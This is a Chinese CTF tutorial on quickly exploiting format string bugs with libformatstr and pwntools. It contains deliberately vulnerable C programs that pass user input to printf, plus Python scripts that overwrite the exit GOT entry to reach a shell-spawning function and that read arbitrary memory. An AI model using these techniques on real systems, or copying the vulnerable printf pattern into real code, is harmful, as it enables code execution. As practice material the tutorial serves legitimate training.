CTF中格式化字符串漏洞快速利用

格式化字符串是CTF比赛中很常见的一种pwn题，但是往往需要自己手工调试，如果可以快速利用该漏洞拿到一血，这无疑可以很大的鼓舞选手的信心，并且有丰厚的分值奖励。那怎么快速利用格式化字符串漏洞呢，甚至对漏洞原理不甚了解怎么快速利用呢，本文将慢慢揭晓。

首先介绍利用该漏洞的工具：https://github.com/hellman/libformatstr，可以直接pip install libformatstr安装。格式化字符串漏洞的利用方式就是在任意地址写入任意数据，比如改写got表，下边分三种情况介绍：

直接输入所有输入信息

测试代码：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
printf(buf);
exit(0);
}

利用思路可以直接将exit函数的got表修改为函数win的地址，这样调用exit时，函数win得到执行，获得shell。编译：gcc -Wno-format-security print_format.c -o print_format

首先计算偏移跟填充，这里举个例子：

比如用户输入aaaBBBB.%x.%x.%x.%x.%x.%x，

输出：aaaBBBB.67.b7fc1c20.bffff734.bffff6d4.61616148.42424242

那么这里偏移是6，填充是3.

下边直接用libformatstr计算：

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
r.sendline(make_pattern(bufsiz))             # send cyclic pattern to
data = r.recv()                                 # server's response
offset, padding = guess_argnum(data, bufsiz)    # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))

这样直接计算出偏移是6，填充是3

知道了偏移填充，以及win函数地址，exit got表地址，可以直接利用：

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_test')
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(6,3)
r.sendline(buf)
r.interactive()

说明： p.payload(6,3) 直接输入偏移，填充

p[exit_got] = win_addr 因为是直接将win函数地址写入exit函数的got表，所以可以直接这样写。

输出有预打印字符

测试代码：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
sprintf(out,"hello,%sn",buf);
printf(out);
exit(0);
}

可以看到这次代码跟上次的不同就是输出时先输出”hello,”，再输出用户输入的数据。编译：gcc -Wno-format-security print_format.c -o print_format

首先计算偏移填充：

from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

elf=ELF('./print_format')

exit_got=0x804a01c

win_addr=0x80484fd

bufsiz = 100

r = process('./print_format')

r.sendline(make_pattern(bufsiz))             # send cyclic pattern to

data = <strong>r.recv()[6:]  </strong>                               # server's response

offset, padding = guess_argnum(data, bufsiz)    # find format string offset and padding

log.info("offset : " + str(offset))

log.info("padding: " + str(padding))

可以看到偏移填充是8 3

此处计算计算偏移填充时，因为会预输出”hello,”,所以代码中使用r.recv()[6:] 计算。

知道了偏移填充，就可以直接利用，注意此处的预输出数据的影响，所以此时payload是p.payload(8,3,start_len=6)

完整代码：

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x804852d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(8,3,start_len=6)
r.sendline(buf)
r.interactive()

输入数据有限制

程序对用户输入的数据有限制，只能输入特定格式的数据

测试代码：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
if (!memcmp(buf,"http://",7))
{
printf(buf);
}
else
{
printf("input error!n");
}
exit(0);
}

from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

elf=ELF('./print_format')

exit_got=0x804a01c

win_addr=0x80484fd

bufsiz = 100

r = process('./print_format')

r.sendline("http://"+make_pattern(bufsiz))             # send cyclic pattern to

data = r.recv()[7:]                                 # server's response

offset, padding = guess_argnum(data, bufsiz)    # find format string offset and padding

log.info("offset : " + str(offset))

log.info("padding: " + str(padding))

可以看到用户输入的数据必须以http://开头，首先计算偏移填充：

可以看到偏移是7，填充是1，注意此时先输入http://,在输入随机字符，计算偏移填充，收到的数据也要从第七个字符开始计算：

r.sendline(“http://”+make_pattern(bufsiz)) # send cyclic pattern to

data = r.recv()[7:]

知道了偏移填充，就可以直接利用，注意此处要先输入http:// , payload从第七位开始算（buf = p.payload(7,1,start_len=7) r.sendline(“http://”+buf)

），完整利用代码如下：

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a024
win_addr=0x804855d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(7,1,start_len=7)
r.sendline("http://"+buf)
r.interactive()

最后介绍一下任意内存读取，当为第一种情况时，首先获取偏移填充

然后：

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
fgets_got=0x0804a010
win_addr=0x804855d
offset=6
padding=3
&nbsp;
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"   #calculate address of exit
r.sendline(buf)
temp=r.recv()[padding+4:padding+4*2]
print hex(u32(temp))

from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

#r = process('./print_format')

elf=ELF('./print_format')

exit_got=0x804a01c

fgets_got=0x0804a010

win_addr=0x804855d

offset=8

padding=3

pre_len=6  #预打印字符长度

&nbsp;

bufsiz = 100

r = process('./print_format')

buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"

r.sendline(buf)

temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]

print hex(u32(temp))

当遇到第二种情况时：

可以看到只是recv处理数据时，要将预打印字符长度算进去。

当为第三种情况时：

from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

#r = process('./print_format')

elf=ELF('./print_format')

exit_got=0x804a024

fgets_got=0x0804a010

win_addr=0x804855d

offset=7

padding=1

pre_len=7

bufsiz = 100

r = process('./print_format')

buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"

r.sendline("http://"+buf)

temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]

print temp

print hex(u32(temp))

可以看到输入输出都要将限制字符计算进去。

参考资料：

https://github.com/hellman/libformatstr
https://blog.techorganic.com/2015/07/01/simplifying-format-string-exploitation-with-libformatstr/

正文

CTF中格式化字符串漏洞快速利用

直接输入所有输入信息

输出有预打印字符

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